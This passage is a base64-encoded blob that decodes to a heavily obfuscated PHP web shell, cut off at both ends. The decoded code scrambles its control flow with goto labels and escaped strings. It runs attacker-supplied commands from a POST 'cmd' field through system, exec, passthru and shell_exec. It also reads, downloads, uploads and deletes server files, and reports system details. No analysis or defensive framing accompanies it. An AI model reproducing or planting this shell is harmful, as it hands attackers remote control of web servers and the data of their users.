2dWYpKSB7IGdvdG8gb25NQ1A7IH0gZ290byBuZlcxSjsgRm0xTkc6IHAyNVN2OiBnb3RvIGt5cDNXOyBLOUdqbTogZ290byBRQnUxMjsgZ290byBHQWNiSTsgWkZocnk6IHdYSFhROiBnb3RvIE1XazFMOyBsRE5kUjogQVYxWEg6IGdvdG8gZDZyOTM7IHFKUU4wOiBnb3RvIHAyNVN2OyBnb3RvIER4RGQzOyBWeTFPVTogfSBnb3RvIFV6empjOyBRQ2dydTogWWhKd246IGdvdG8gS0xuWXk7IEF5aXA1OiBlY2hvIFwiXFwxMDZcXHg2OVxcMTU0XFx4NjVcXHg2ZVxcMTQxXFwxNTVcXDE0NVxcNzJcXHgyMFxcNzRcXDE0NlxcMTU3XFx4NmVcXDE2NFxcNDBcXHg2M1xceDZmXFwxNTRcXHg2ZlxceDcyXFx4M2RcXHgyM1xcNjBcXDYwXFx4MzZcXDY2XFx4MzBcXHgzMFxceDNlXCIgLiBiYXNlbmFtZSgkX0dFVFtcIlxceDY2XFwxNTFcXDE1NFxcMTQ1XCJdKSAuIFwiXFw3NFxceDJmXFwxNDZcXDE1N1xceDZlXFwxNjRcXHgzZVwiOyBnb3RvIEhoMnJmOyBNTFJOYjogUzZPUm06IGdvdG8gc0dMdEk7IGlqMmNROiBnb3RvIHBxaWdOOyBnb3RvIE1JcEFxOyBnNmpjWDogZDQyWkw6IGdvdG8gVHJsOTY7IHptZEZ2OiBnb3RvIGRDa28yOyBnb3RvIHdrRmRKOyBTckZWTDogZ290byBSbWVIQjsgZ290byBIRXc0dDsga0tLSE86IGdvdG8genB3dXg7IGdvdG8gS21RczY7IG1ZUHA0OiBnb3RvIEhRMVFwOyBnb3RvIHZUMTJIOyBWdE9JYTogZnVuY3Rpb24gSkZuVnMoJFkzS05vKSB7IGdvdG8gQ3FaWm07IGR4eTZ0OiB5Rk1VRTogZ290byBjWlpwSzsgS0xXeG46IGdvdG8gQTVDbGw7IGdvdG8gRE5McEU7IEZDVFpkOiBnb3RvIFhCTFF3OyBnb3RvIFBra1p5OyBxZjZDWDogeGZSazM6IGdvdG8gU0xkaEI7IGFaYVBNOiB0MzJ3QTogZ290byBESDlybzsgUFZQelY6IFhCTFF3OiBnb3RvIHNUeFI4OyBVUjdwbzogZm9yZWFjaCAoJFJ0dkpLIGFzICRsb0NNMSkgeyBnb3RvIENXQ0oxOyBPd3pHUTogZGp0Xzk6IGdvdG8gdzR4dVE7IGVMaEFWOiBBQXpuMjogZ290byBPd3pHUTsgQ1dDSjE6ICRnN3d2SyAuPSAkbG9DTTE7IGdvdG8gZUxoQVY7IHc0eHVROiB9IGdvdG8gcWY2Q1g7IFNrbWpvOiBnb3RvIHZIbDAzOyBnb3RvIEIzWXZZOyBZYTcyVDogWm10V3k6IGdvdG8gcTJzNlI7IGtvakE1OiBGa3NkNjogZ290byBOejFGSzsgU3h4bWs6IGdvdG8gb1pmZUo7IGdvdG8ga29qQTU7IHQyTTNROiBJYWVQMDogZ290byB6bWd4TjsgcWNrX1M6IEE1Q2xsOiBnb3RvIFNOb2RROyBYeFF0TTogZ290byBhbWdFQzsgZ290byBJYkhCNTsgVzZMRTY6IGdvdG8gbkVPMUM7IGdvdG8gVG9Va2Q7IGpmMVozOiBnb3RvIFlocnBDOyBnb3RvIE40eGdhOyBXSTdBaTogQHBhc3N0aHJ1KCRZM0tObyk7IGdvdG8gYmQwR1c7IE56MUZLOiBAZXhlYygkWTNLTm8sICRSdHZKSyk7IGdvdG8gT2hoZHE7IGZVcUR6OiB2UnV2UjogZ290byBVUjdwbzsgb3NQTmY6IGdvdG8ganZUUU07IGdvdG8geFpfWjA7IGFGdjN0OiBwR2JxTjogZ290byBGQ1RaZDsgWTFZRlA6IGdvdG8gdDA5WUY7IGdvdG8gZlVxRHo7IEhOUEZ2OiBnb3RvIGlFTl9hOyBnb3RvIE9VaExoOyBlRWlaODoganZUUU06IGdvdG8geU5MRkE7IGhlTTFOOiByZXR1cm4gJGc3d3ZLOyBnb3RvIEtpdlQ0OyBRXzNaUzogZ290byBIOVR1YTsgZ290byBEaXcwNDsgTjlsbHM6IHJldHVybiAkZzd3dks7IGdvdG8gS0xXeG47IFFtdUlROiBnb3RvIHlGTVVFOyBnb3RvIFBWUHpWOyBVNGNiRjogTnUwNDI6IGdvdG8gZWd4b2E7IE82MlRROiBMeXBjbDogZ290byBVNGNiRjsgR1VlWmY6IGdvdG8gSU1vS1M7IGdvdG8gQmhzQzk7IERpdzA0OiB4cVVzUDogZ290byBXNkxFNjsgajEybDQ6IHRJRUIyOiBnb3RvIGkzZnY3OyBYbVlKYzogaFAzX1E6IGdvdG8gaHd1NGM7IHRfeVU4OiBnb3RvIGhQM19ROyBnb3RvIGFGdjN0OyBzVHhSODogaWYgKCFmdW5jdGlvbl9leGlzdHMoXCJcXDE2M1xceDY4XFwxNDVcXDE1NFxcMTU0XFx4NWZcXDE0NVxcMTcwXFwxNDVcXDE0M1wiKSkgeyBnb3RvIHhxVXNQOyB9IGdvdG8gUV8zWlM7IFFvZm13OiByZXR1cm4gJGc3d3ZLOyBnb3RvIFFtdUlROyBETkxwRTogbkVPMUM6IGdvdG8gZGRfY0I7IGRfNmNkOiBhUWdBNjogZ290byBXR1BuYjsgUkhUdXU6IEVrMkhjOiBnb3RvIFhtWUpjOyBLZktPUTogJGc3d3ZLID0gQG9iX2dldF9jb250ZW50cygpOyBnb3RvIFkxWUZQOyBWTFhycjogYW1nRUM6IGdvdG8gamYxWjM7IGY2WUoyOiBnb3RvIGtrOURNOyBnb3RvIGRfNmNkOyBiWmF5ZDogQG9iX3N0YXJ0KCk7IGdvdG8gUnh2M2o7IE1KOUtsOiBvWmZlSjogZ290byBzSHJraDsgT2hoZHE6IGdvdG8gYVFnQTY7IGdvdG8gZHh5NnQ7IHZnSTc2OiBOYWRaMzogZ290byBaeXVCMzsgYmQwR1c6IGdvdG8gcWZVaEM7IGdvdG8gTUo5S2w7IHhaX1owOiBTZk8xYTogZ290byBRb2ZtdzsgU0xkaEI6IGdvdG8gTHlwY2w7IGdvdG8gdmdJNzY7IFFmOGFHOiBnb3RvIHB4Q1V4OyBnb3RvIEhBMVRQOyBXQmkwNTogaWYgKCFmdW5jdGlvbl9leGlzdHMoXCJcXHg3M1xcMTcxXFx4NzNcXHg3NFxceDY1XFwxNTVcIikpIHsgZ290byB2cHNORzsgfSBnb3RvIFh4UXRNOyBCaHNDOTogb19zS2g6IGdvdG8gZzNPZGM7IE40eGdhOiBiaWxTczogZ290byBXQmkwNTsgdE1WMVY6IFlFMmJGOiBnb3RvIFdJN0FpOyBkZF9jQjogZ290byBBX1VSMTsgZ290byBmNllKMjsgQ3FaWm06IGdvdG8gYmlsU3M7IGdvdG8gWWE3MlQ7IGVCdzJBOiBAc3lzdGVtKCRZM0tObyk7IGdvdG8gUHhIZnY7IG1jamwzOiByZXR1cm4gJGc3d3ZLOyBnb3RvIFNrbWpvOyBod3U0YzogZ290byBPR1dYdjsgZ290byB0TVYxVjsgZTh2cnk6IEFfVVIxOiBnb3RvIFlWdUFZOyBrY0VtVDogZ290byBJYWVQMDsgZ290byBvSTFOYzsgUGtrWnk6IHQwOVlGOiBnb3RvIGtqTUNXOyBFRThyWTogZ290byB0SUVCMjsgZ290byBqMTJsNDsgR0lQRjI6IGdvdG8gWm10V3k7IGdvdG8gZHlKTmU7IFB4SGZ2OiBnb3RvIG9fc0toOyBnb3RvIHFja19TOyBpM2Z2NzogaWYgKCFmdW5jdGlvbl9leGlzdHMoXCJcXHg3MFxcMTQxXFx4NzNcXHg3M1xceDc0XFx4NjhcXDE2MlxcMTY1XCIpKSB7IGdvdG8gcEdicU47IH0gZ290byB0X3lVODsgT1VoTGg6IE9HV1h2OiBnb3RvIFRqNnNROyBnM09kYzogJGc3d3ZLID0gQG9iX2dldF9jb250ZW50cygpOyBnb3RvIHZxQUtIOyB5TkxGQTogaWYgKCFmdW5jdGlvbl9leGlzdHMoXCJcXHg2NVxceDc4XFx4NjVcXHg2M1wiKSkgeyBnb3RvIERTNkwwOyB9IGdvdG8gUWY4YUc7IGtqTUNXOiBAb2JfZW5kX2NsZWFuKCk7IGdvdG8gR1VlWmY7IGNaWnBLOiBnb3RvIEFfVVIxOyBnb3RvIENjc0VYOyBUajZzUTogQG9iX3N0YXJ0KCk7IGdvdG8gWE9YVE87IElPQ3Y1OiBZaHJwQzogZ290byBiWmF5ZDsgem1neE46IHB4Q1V4OiBnb3RvIEQxNXdpOyBUb1VrZDogdkhsMDM6IGdvdG8gZTh2cnk7IEdWMGk3OiBnb3RvIHZSdXZSOyBnb3RvIFJIVHV1OyBTZmxrbzogaUVOX2E6IGdvdG8gbWNqbDM7IHNIcmtoOiBIOVR1YTogZ290byBHSVBGMjsgRDE1d2k6IGdvdG8gRmtzZDY7IGdvdG8gTzYyVFE7IEhBMVRQOiBEUzZMMDogZ290byBFRThyWTsgWVZ1QVk6IGdvdG8gdDMyd0E7IGdvdG8gSU9DdjU7IFNOb2RROiBnb3RvIEFfVVIxOyBnb3RvIFN4eG1rOyBQYWxBSjogQG9iX2VuZF9jbGVhbigpOyBnb3RvIFVhdnpBOyBXR1BuYjogJGc3d3ZLID0gJyc7IGdvdG8gR1YwaTc7IHEyczZSOiAkZzd3dksgPSBAc2hlbGxfZXhlYygkWTNLTm8pOyBnb3RvIEhOUEZ2OyBCM1l2WToga2s5RE06IGdvdG8gVkxYcnI7IEF5TF83OiBpUml4QzogZ290byBlQncyQTsgZHlKTmU6IENLMDhROiBnb3RvIFBhbEFKOyB4SE9FbjogcWZVaEM6IGdvdG8gS2ZLT1E7IG9JMU5jOiBtUERJRTogZ290byBoZU0xTjsgS2l2VDQ6IGdvdG8gTmFkWjM7IGdvdG8gZUVpWjg7IFhPWFRPOiBnb3RvIFlFMmJGOyBnb3RvIFNmbGtvOyBSeHYzajogZ290byBpUml4QzsgZ290byB4SE9FbjsgSWJIQjU6IHZwc05HOiBnb3RvIG9zUE5mOyBaeXVCMzogZ290byBBX1VSMTsgZ290byBrY0VtVDsgdnFBS0g6IGdvdG8gQ0swOFE7IGdvdG8gdDJNM1E7IFVhdnpBOiBnb3RvIG1QRElFOyBnb3RvIEF5TF83OyB1NTh6TTogSU1vS1M6IGdvdG8gTjlsbHM7IENjc0VYOiBnb3RvIEVrMkhjOyBnb3RvIGFaYVBNOyBlZ3hvYTogZ290byBTZk8xYTsgZ290byB1NTh6TTsgREg5cm86IH0gZ290byBXV3dkTDsgaTFuMU46IGdvdG8gaUlsM007IGdvdG8gZUx6Y0o7IFNkZzhlOiBnb3RvIHYxejB6OyBnb3RvIFptNlNrOyBQT001TDogaWYgKGVtcHR5KCRfR0VUW1wiXFx4NzBcXDE0MVxceDc0XFx4NjhcIl0pKSB7IGdvdG8gckVaQU87IH0gZ290byBoTDZVRzsgWVJLX046IEJnWkN5OiBnb3RvIHdXZTJWOyBMR2R1bDogc0NUb1I6IGdvdG8gUE9naE87IEttUXM2OiB0NXRsYTogZ290byByZTY3MzsgQnF4aXY6IFZoMHFwOiBnb3RvIGViZDhWOyB4ckMyZDogJHVKelc2ID0gJF9HRVRbXCJcXHg3MFxcMTQxXFwxNjRcXHg2OFwiXTsgZ290byBmWFRKeDsgWTI4U2k6IGFIczVhOiBnb3RvIEp6OGpqOyBveUZtbTogZ290byBxWGdWNzsgZ290byBXN2JoaTsgdXI5M1c6IEU4S0J6OiBnb3RvIE1leDN4OyB0NmxIMzogZ290byBWNkpjTTsgZ290byBkcjNUVjsgYnpOUFg6IHo5a3VxOiBnb3RvIE8wMFI3OyBwQXhMeTogdWkyTzY6IGdvdG8gY1FPUmI7IHRPaXRDOiBzTWJxZTogZ290byBWdE9JYTsgdXVMOTA6IGdvdG8gSkpSbng7IGdvdG8gbV9SajI7IGxjUW5WOiBoZWFkZXIoXCJcXDEwM1xceDZmXFwxNTZcXHg3NFxceDY1XFx4NmVcXHg3NFxcNTVcXDEwNFxcMTUxXFx4NzNcXDE2MFxcMTU3XFx4NzNcXDE1MVxceDc0XFwxNTFcXDE1N1xceDZlXFx4M2FcXDQwXFwxNDFcXHg3NFxceDc0XFx4NjFcXDE0M1xceDY4XFwxNTVcXHg2NVxceDZlXFwxNjRcXDczXFx4MjBcXDE0NlxceDY5XFx4NmNcXDE0NVxceDZlXFwxNDFcXHg2ZFxcMTQ1XFx4M2RcXHgyMlwiIC4gJGlENnVmIC4gXCJcXHgyMlwiKTsgZ290byBjTjZzZjsgT3Bkczg6IG5MenZuOiBnb3RvIENjcXhiOyBHT1c2ODogcHJlZ19tYXRjaF9hbGwoXCJcXDU3XFx4MjhcXHgyZVxcNTJcXDc3XFx4MjlcXHgzYVxceDc4XFw3MlxcNTdcIiwgJFVhN1QzLCAkT0I4NkQpOyBnb3RvIERDYXVGOyBNWXJNbTogT1NaTzI6IGdvdG8gQkJGeWQ7IEdtTVJSOiBCaUlwQzogZ290byBkbHFnYTsgR1YyOEk6IHJRdUdwOiBnb3RvIEVLd0hyOyBFSkliOTogazNGVmc6IGdvdG8gUzJHQmY7IGdrakw4OiBYb1h3XzogZ290byBDVXhuWDsgTHhPMDI6IE02MVJVOiBnb3RvIE9xTkpoOyBuSDNiYjogZ290byBXRjhzNDsgZ290byB4MWlxTTsgY0V1dDU6IFM0eEpqOiBnb3RvIHk0ZlFiOyBKVzQzMzogZ290byBjSE5pdzsgZ290byBhX1M5VDsgV3VuNjc6IGlmICgkX1BPU1RbXCJcXHg2NFxceDZmXFx4NWZcXDE2MlxceDY1XFx4NmVcXDE0MVxcMTU1XFwxNDVcIl0pIHsgZ290byBMQU04cTsgfSBnb3RvIGFJQ2pfOyB2dmtCNTogZ290byBpSE5zazsgZ290byBUWG1pcDsgTzZHM046IGdvdG8gcjFrNE47IGdvdG8gb1U4dlY7IGs5a1VPOiAkR0V1SnogPSAkX0dFVFtcIlxceDcwXFwxNDFcXHg3NFxcMTUwXCJdOyBnb3RvIGpIQ1JVOyBkQWJWVTogZ290byB2Q2NBeTsgZ290byBsMjhLejsgU3Q3WDU6IGdvdG8gQ1FDMUI7IGdvdG8gYU5rb187IExTOHlZOiBzb3NFQTogZ290byBFSkliOTsgajFoU2k6IEtDcFoyOiBnb3RvIHFwcGhROyBoVXpoQjogZ290byBhSHM1YTsgZ290byBXWnB5dDsgZThIWjQ6IGdvdG8gRFI5U2I7IGdvdG8gR0lwdjk7IFI5QklSOiBhcGtZWDogZ290byBUZHRWRDsgeEZ0YnM6IGVjaG8gXCJcXDc0XFx4NjZcXHg2ZlxceDcyXFwxNTVcXDQwXFwxNTVcXHg2NVxcMTY0XFx4NjhcXHg2ZlxcMTQ0XFw3NVxceDI3XFx4NzBcXDE1N1xceDczXFwxNjRcXDQ3XFw3NlxcMTVcXDEyXFwxMVxcNzRcXDE2NFxcMTQ1XFwxNzBcXHg3NFxceDYxXFwxNjJcXHg2NVxceDYxXFx4MjBcXHg2ZVxceDYxXFwxNTVcXHg2NVxcNzVcXHgyN1xcMTYzXFwxNjJcXHg2M1xceDI3XFw0MFxceDYzXFx4NmNcXHg2MVxceDczXFwxNjNcXHgzZFxceDI3XFwxNjRcXHg3OFxcMTQxXFwxNjJcXDE0NVxcMTQxXFw0N1xcNzZcIiAuIGh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUW1wiXFwxNDZcXHg2OVxcMTU0XFx4NjVcIl0pKSAuIFwiXFx4M2NcXHgyZlxceDc0XFx4NjVcXDE3MFxceDc0XFx4NjFcXHg3MlxcMTQ1XFwxNDFcXHgzZVxcNzRcXDE0MlxcMTYyXFw3NlxcMTVcXHhhXFx4OVxceDNjXFwxNTFcXHg2ZVxceDcwXFx4NzVcXHg3NFxcNDBcXHg3NFxcMTcxXFwxNjBcXHg2NVxceDNkXFw0N1xceDczXFwxNjVcXDE0MlxcMTU1XFwxNTFcXDE2NFxceDI3XFw0MFxceDc2XFwxNDFcXDE1NFxceDc1XFwxNDVcXDc1XFx4MjdcXHg1M1xcMTQxXFwxNjZcXDE0NVxcNDdcXHgyMFxceDZlXFwxNDFcXHg2ZFxcMTQ1XFx4M2RcXDQ3XFwxNjNcXHg2MVxceDc2XFx4NjVcXHgyN1xceDIwXFwxNjNcXDE2NFxceDc5XFwxNTRcXHg2NVxcNzVcXHgyN1xceDc3XFwxNTFcXDE0NFxcMTY0XFx4NjhcXDcyXFw0MFxcNjJcXDYwXFx4MjVcXDczXFx4NjJcXHg2MVxceDYzXFwxNTNcXDE0N1xcMTYyXFwxNTdcXHg3NVxceDZlXFwxNDRcXDcyXFx4MjNcXHgzMFxceDMwXFw2NlxceDM2XFw2MFxceDMwXFw3M1xcMTQyXFwxNTdcXHg3MlxcMTQ0XFwxNDVcXHg3MlxcNzJcXHg2ZVxceDZmXFwxNTZcXHg2NVxcNzNcXHg2M1xceDZmXFx4NmNcXDE1N1xcMTYyXFw3MlxcNDNcXHg2NlxceDMyXFx4NjZcXHgzMlxceDY2XFw2MlxceDNiXFx4NmRcXHg2MVxcMTYyXFwxNDdcXHg2OVxceDZlXFw1NVxceDc0XFx4NmZcXHg3MFxcNzJcXHgzNVxceDcwXFx4NzhcXHgzYlxceDY4XFwxNDVcXDE1MVxcMTQ3XFx4NjhcXDE2NFxceDNhXFx4MzNcXHgzMFxceDcwXFx4NzhcXHgzYlxceDI3XFx4M2VcXHhkXFx4YVxceDlcXDc0XFw1N1xcMTQ2XFx4NmZcXDE2MlxceDZkXFw3NlwiOyBnb3RvIE4yTjlNOyBwSEZvRzogU2xWSlcoJHV2Y0JRLCAkR01ub2kpOyBnb3RvIEVkRnBZOyBWZmkwbTogZ290byBMaFcwVzsgZ290byBWczlGTzsgc3g4M3M6IGdvdG8gV1pkR2k7IGdvdG8gWTI4U2k7IFZvMG9WOiBnb3RvIEVMeFJsOyBnb3RvIGVBbHh4OyBUcmw5NjogZ290byBpSVhCZzsgZ290byBCdUlxZzsgdENZb1c6IElqMURfOiBnb3RvIHRDTUZzOyBRRU9fcDogZWNobyBcIlxcNzRcXHg3M1xcMTYwXFx4NjFcXDE1NlxceDIwXFwxNjNcXDE2NFxcMTcxXFx4NmNcXHg2NVxcNzVcXHgyMlxceDYyXFwxNTdcXDE2MlxcMTQ0XFwxNDVcXDE2MlxcNzJcXDYxXFwxNjBcXHg3OFxceDIwXFx4NjRcXDE0MVxcMTYzXFwxNTBcXDE0NVxceDY0XFw0MFxceDIzXFx4MzBcXHgzMFxceDM5XFw3MVxcNjBcXDYwXFw3M1xceDcwXFx4NjFcXHg2NFxceDY0XFwxNTFcXDE1NlxcMTQ3XFx4M2FcXHgzMlxceDcwXFx4NzhcXHgzYlxceDIyXFw3NlwiOyBnb3RvIHRCZ0d4OyBEQ2F1RjogZ290byB0YnFPajsgZ290byBNTF9qcTsgRTh0M0g6IHoyekc4OiBnb3RvIE1sazJVOyBtbmdGMDogZ290byB4bXRZSTsgZ290byBKMlBHSTsgS0QwRjQ6IGlmICghKCRfR0VUW1wiXFwxNDVcXHg3OFxceDc0XCJdID09IFwiXFwxNDVcXDE3MFxcMTY0XFx4NzJcXHg2MVxcMTQzXFwxNjRcXDYyXFx4NzRcXDE1NVxceDcwXCIpKSB7IGdvdG8gVmhMUk87IH0gZ290byBKc1ZNMzsgVFc1UUo6IGM0RHc4OiBnb3RvIE1MUk5iOyBOSGpKcDogcjFrNE46IGdvdG8gWVljZHU7IExucUI2OiBnb3RvIEhFa3B2OyBnb3RvIFc0SjR5OyBRNVhnYTogZ290byBaTTJQUzsgZ290byBOTVAxazsgczY0V1Y6IGdvdG8gSGZnOU07IGdvdG8gcEF4THk7IFUweklFOiBpZiAoJF9QT1NUW1wiXFx4NzBcXDE1N1xcMTYzXFx4NzRcXHg3NVxcMTYwXFx4NmNcIl0gPT0gXCJcXHg1NVxcMTYwXFx4NmNcXDE1N1xceDYxXFwxNDRcIikgeyBnb3RvIERPNDZ0OyB9IGdvdG8gU0NINjU7IG95bmtGOiBlY2hvIFwiXFx4M2NcXDE2NFxcMTQxXFx4NjJcXDE1NFxcMTQ1XFw0MFxcMTQzXFx4NmNcXDE0MVxceDczXFwxNjNcXHgzZFxceDIyXFx4NjZcXDE1MVxceDZjXFx4NjVcXDE1NVxcMTQ3XFwxNjJcXHgyMlxceDNlXCI7IGdvdG8gVTIxODk7IHZ6T0lYOiBnb3RvIHRWNXhKOyBnb3RvIEl2OHRNOyBNempEVzogZWNobyBcIlxceDNjXFwxNDFcXHgyMFxcMTUwXFx4NzJcXDE0NVxcMTQ2XFx4M2RcXDQyXCIgLiAkREdQN3MgLiBkaXJuYW1lKCRfU0VSVkVSW1wiXFwxMjBcXHg0OFxcMTIwXFwxMzdcXDEyM1xceDQ1XFwxMTRcXHg0NlwiXSkgLiBcIlxcNTdcIiAuICRHTW5vaSAuIFwiXFx4MjJcXDQwXFx4NzRcXHg2MVxceDcyXFx4NjdcXDE0NVxcMTY0XFw3NVxcNDJcXDEzN1xcMTQyXFx4NmNcXDE0MVxceDZlXFx4NmJcXDQyXFw3NlxceDQxXFx4NjRcXHg2ZFxceDY5XFx4NmVcXHg2NVxcMTYyXFx4MjBcXHg0ZlxcMTEzXFw0MVxceDNjXFw1N1xceDYxXFx4M2VcIjsgZ290byBzNjRXVjsgdUxCbkg6IGVjaG8gXCJcXHgzY1xceDJmXFx4NzRcXHg2MVxceDYyXFwxNTRcXDE0NVxcNzZcIjsgZ290byBaaVZlSzsgazhQWHE6IEl4RGl1OiBnb3RvIHUzQXFwOyBIN09VNzogZ290byBOUmNHTTsgZ290byBmOHl3bzsgallhcUo6IGhuenc4OiBnb3RvIGhkQTNaOyBCTVlPbzogJFkzS05vID0gJF9QT1NUW1wiXFx4NjNcXDE1NVxceDY0XCJdOyBnb3RvIFVuRUlWOyByb1dxWDogTnVJemw6IGdvdG8gTjRYcEw7IHA4dWNDOiBnb3RvIHZSQXlvOyBnb3RvIHMwTzdmOyBOWnZRaDogRG1EWVI6IGdvdG8gcjlTQjg7IEt4NGRpOiBjZzQxdjogZ290byBsWGpTTzsgUW1KdFk6IHIzYWNyOiBnb3RvIEFucHFpOyBYQ3ZiMDogZWNobyBcIlxcNzRcXDU3XFwxNjRcXDE0NVxceDc4XFwxNjRcXDE0MVxceDcyXFx4NjVcXHg2MVxcNzZcIjsgZ290byBMTnJIMjsgWlZHVzM6IFVobFhtOiBnb3RvIEtEMEY0OyBIY2E3MDogZ290byBlb0F6azsgZ290byBVcVJXNjsgVTFNbV86IGdvdG8gVzBTUG07IGdvdG8gRE9ORDM7IG11a3pvOiBPdHFiSzogZ290byBPTWp5azsgYTdqWmU6IEFLWkFROiBnb3RvIFp0eWRWOyBmOHl3bzogQVB0R2k6IGdvdG8gRDdETEQ7IG5iRXlQOiB1V0J2aTogZ290byBDSjNLRzsgcHlGUUs6IGdvdG8gTTl5MTE7IGdvdG8gQWYzWjI7IGFFQXBOOiB0bzY2NDogZ290byByY3lkTjsgTWV4M3g6ICRSYjc4RCA9IGV4cGxvZGUoXCJcXHgyZVwiLCAkVzNlTE8pOyBnb3RvIHQ2bEgzOyBSVXJLQzogZ290byBYN3dzdjsgZ290byBnUWllNjsgRE9ORDM6IHBfaGk4OiBnb3RvIG1IU2tqOyB5QUs2WDogd0NGTGI6IGdvdG8gZlNieDk7IE5LQUpwOiBnb3RvIHhXN1Y0OyBnb3RvIHIwb3JJOyB6TVI1TDogZ290byBFWXRNcDsgZ290byBoOXV4RTsgQlRyZVY6IHlnY3RNOiBnb3RvIHJGNDN1OyBzejZJRzogZ290byBXTzlQQzsgZ290byBmTUozOTsgWkI1X186IElSUVQzOiBnb3RvIFd1bjY3OyByVGhHbjogYUQ4Tjk6IGdvdG8gTm9jYXA7IFg4UEt6OiBBWmF2OTogZ290byB6c3lmZjsgUnExSHE6IGVjaG8gcGhwX3VuYW1lKCk7IGdvdG8gcmJudVU7IG9BZHhaOiBXRjhzNDogZ290byBacVNkTDsgZldJMWs6ICRBblhGeSA9IHVubGluaygkX0dFVFtcIlxcMTQ2XFx4NjlcXHg2Y1xcMTQ1XCJdKTsgZ290byBaN2RVXzsgeXlVckY6IExBTThxOiBnb3RvIFl1UUN5OyByOVNCODogZWNobyBcIlxcNzRcXDE0M1xcMTQ1XFwxNTZcXDE2NFxceDY1XFx4NzJcXHgzZVwiOyBnb3RvIEVmeXhlOyBMVl9lbTogZ290byBRSVM0XzsgZ290byBHT09xQjsgQzdsRm86IHl5cWdROiBnb3RvIHgxU2trOyBzaFZYZzogZ290byBzZ0p1UzsgZ290byBpdlFBejsgUHZKSF86IEdiRmhvOiBnb3RvIHlyRWFYOyBSWjVwRjogU2F1aHo6IGdvdG8gQ0xybHM7IE1kMDFIOiBpZiAoIShmaWxlX2V4aXN0cygkX1NFUlZFUltcIlxceDQ0XFx4NGZcXDEwM1xceDU1XFx4NGRcXDEwNVxcMTE2XFwxMjRcXDEzN1xceDUyXFwxMTdcXHg0ZlxcMTI0XCJdIC4gXCJcXDU3XFx4NzRcXHg2ZFxcMTYwXFw1N1wiKSAmJiBpc193cml0YWJsZSgkX1NFUlZFUltcIlxceDQ0XFx4NGZcXDEwM1xceDU1XFwxMTVcXDEwNVxceDRlXFwxMjRcXDEzN1xceDUyXFwxMTdcXDExN1xcMTI0XCJdIC4gXCJcXDU3XFwxNjRcXHg2ZFxceDcwXFw1N1wiKSkpIHsgZ290byByRHNyYzsgfSBnb3RvIHZxb0NiOyByc1VfZTogVm0yQ246IGdvdG8gVGtlVkI7IFprX1IzOiB0dEVURzogZ290byBTd1AxVzsgaWJpRTM6IHNORERhOiBnb3RvIGNLdkRyOyBIaDJyZjogZ290byBlcm9VQzsgZ290byBqSlBxSzsgSWcyTmg6IGJRaGpaOiBnb3RvIEF5aXA1OyBRMnhxdjogZ290byBkMjduZjsgZ290byBiWFkyZjsgdm9wdms6IGdvdG8geTBWRkI7IGdvdG8gbFZPR1g7IE8wMFI3OiBnb3RvIEE0RXJrOyBnb3RvIG5fdl9pOyBoaXlnSzogZWNobyBcIlxceDNjXFw1N1xcMTQ2XFx4NmZcXDE2MlxcMTU1XFw3NlwiOyBnb3RvIENfbUxsOyBnMlpjdzogTWxHUTU6IGdvdG8gR0JVenU7IG9BdEhwOiBpdF81aTogZ290byBnM2U5STsgb0tXckI6IGdvdG8gYThEajk7IGdvdG8gVUxxcEQ7IEFWeFViOiBoZWFkZXIoXCJcXDEwM1xceDYxXFwxNDNcXDE1MFxcMTQ1XFw1NVxcMTAzXFx4NmZcXDE1NlxceDc0XFwxNjJcXHg2ZlxceDZjXFx4M2FcXHgyMFxceDZkXFwxNjVcXDE2M1xceDc0XFx4MmRcXHg3MlxceDY1XFx4NzZcXHg2MVxceDZjXFwxNTFcXHg2NFxceDYxXFwxNjRcXDE0NVwiKTsgZ290byBtWVBwNDsgdm8zbDE6IGUyeFFjOiBnb3RvIEZfbVNiOyBsbzV4YjogQlZsVk86IGdvdG8gYlVXRlk7IEhxSnAzOiBpZiAoIWVtcHR5KCRfR0VUKSkgeyBnb3RvIFBoUHRHOyB9IGdvdG8gVTdLamE7IGNSWjZLOiBnb3RvIHhmbW1GOyBnb3RvIHJLaVdPOyBGZkdTUTogRl9NcEM6IGdvdG8gZVZTRDM7IENpcFozOiBnb3RvIEtBMVByOyBnb3RvIEZmR1NROyBTYXMwRTogZ290byBvcTVLMTsgZ290byBSOUJJUjsgZFN5TlU6IGExMVEyOiBnb3RvIGV4cWhsOyBCNV9ORDogU3BYQUM6IGdvdG8gWTFCaWU7IFQyQkV0OiBnb3RvIHZZekhaOyBnb3RvIFM5TVN1OyB3cFRrMDogZ290byB3Vk9JNjsgZ290byBjVzdxcTsgR1FucVA6IFVTSWo5OiBnb3RvIFgyRHJTOyBGQVdhMjogZ290byBJREh2ZTsgZ290byBzUmY0QzsgYlUyQkk6IE80X2JVOiBnb3RvIFZvMG9WOyBCczZnSDogZ290byBreE9IbDsgZ290byB3WExSMjsgUjF2MFU6IGlmICghJGFlcFZ2KSB7IGdvdG8gTDlTa0g7IH0gZ290byByTDZwRzsgRnBTU0k6IGdvdG8gRmNkQ1U7IGdvdG8gT242emo7IGhVb2tIOiBmY1l5UTogZ290byBISlVKMTsgVTQ1N0s6IEhvbHY4OiBnb3RvIFRlNXZWOyBKMGk4dDogJHJNMTk4ID0gakZudlMoXCJcXHg3MFxceDY1XFwxNjJcXDE1NFxceDIwXFw1NVxcNTVcXDE1MFxceDY1XFx4NmNcXDE2MFwiKSA/IFwiXFx4M2NcXHg2NlxcMTU3XFx4NmVcXHg3NFxcNDBcXDE0M1xcMTU3XFx4NmNcXHg2ZlxceDcyXFx4M2RcXHgyM1xceDMwXFw2MFxcNjZcXHgzNlxcNjBcXHgzMFxceDNlXFx4NGZcXDExNlxceDNjXFw1N1xceDY2XFx4NmZcXHg2ZVxceDc0XFw3NlwiIDogXCJcXDc0XFx4NjZcXHg2ZlxcMTU2XFx4NzRcXHgyMFxcMTQzXFx4NmZcXDE1NFxceDZmXFwxNjJcXDc1XFwxNjJcXHg2NVxcMTQ0XFx4M2VcXDExN1xcMTA2XFwxMDZcXDc0XFw1N1xcMTQ2XFwxNTdcXHg2ZVxcMTY0XFx4M2VcIjsgZ290byBYTk5TMDsgbGRQQk46IGhlYWRlcihcIlxcMTA1XFx4NzhcXHg3MFxceDY5XFx4NzJcXHg2NVxceDczXFw3MlxceDIwXFx4MzBcIik7IGdvdG8gWHJ3R1k7IHRFSlNFOiBnb3RvIGhyQ3ZWOyBnb3RvIFRjWTlsOyBldTZjZDogejQzSWo6IGdvdG8gbXVrem87IFdkb3g0OiBnb3RvIHUzakMwOyBnb3RvIFl5dlFzOyBHN2s0NDogZ290byBjZ